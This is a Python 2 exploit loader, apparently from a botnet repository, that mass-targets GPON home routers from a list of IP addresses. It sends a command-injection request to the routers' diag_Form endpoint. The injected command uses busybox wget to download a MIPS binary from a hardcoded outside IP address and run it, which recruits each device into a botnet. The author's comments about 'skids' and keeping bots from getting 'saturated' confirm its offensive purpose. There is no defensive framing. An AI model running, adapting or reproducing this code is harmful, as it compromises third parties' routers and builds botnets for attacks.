Path: blob/master/Botnets/Exploits/GPON/gpon2loader.py
5038 views
#!/usr/bin/python12# gpon exploit loader by nexus zeta ; if ive sent u this dont give this to skids - use your head dont get bots saturated3# note to self: reintegrate parallelized thread pool alongside queue / gevent? (maybe)45import sys, socket, time, os, ssl6from Queue import *7#from multiprocessing.dummy import Pool as ThreadPool8#from multiprocessing import Process9from threading import Thread10from sys import stdout1112if len(sys.argv) < 2:13print "Usage: python "+sys.argv[0]+" <list>"14sys.exit()1516port = 44317buf = 409618count = 019queue = Queue()20post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$(busybox+wget+http://46.183.218.243/mips+-O+->+/dev/r;sh+/dev/r)&ipv=0\r\n"21headers = "POST /GponForm/diag_Form?style/ HTTP/1.1\r\nHost: 192.168.0.1:443\r\nUser-Agent: curl/7.3.2\r\nAccept: */*\r\nxAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nContent-Type: text/plain\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)22#headers = "POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: 192.168.0.1:443\r\nUser-Agent: curl/7.3.2\r\nAccept: */*\r\nAccept-Encoding: gzip, deflate\r\nConnection: keep-alive\r\nContent-Type: text/plain\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)23i = 024ips = open(sys.argv[1], "r").readlines()2526def gpwn(host):27global i28host = host.strip("\n")29try:30sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)31s = ssl.wrap_socket(sock)32s.settimeout(3)33s.connect((host, port))34s.send(headers)35time.sleep(5)36print "\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m%s\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]" % (host)37resp = s.recv(buf).strip()38if "200 OK" in resp:39i += 140s.close()41except:42pass43return44def load_to_queue():45global count46for line in ips:47count += 148line = line.strip("\r\n")49sys.stdout.write("\r[%d] Added to queue" % (count))50sys.stdout.flush()51queue.put(line)52sys.stdout.write("\n")5354def main():55load_to_queue()56i = 057while i < count:58i += 159try:60ip = queue.get()61f = Thread(target=gpwn, args=(ip,))62f.start()63queue.task_done()64except KeyboardInterrupt:65os.kill(os.getpid(),9)66except Exception as i:67print i68pass69if __name__ == "__main__":70main()717273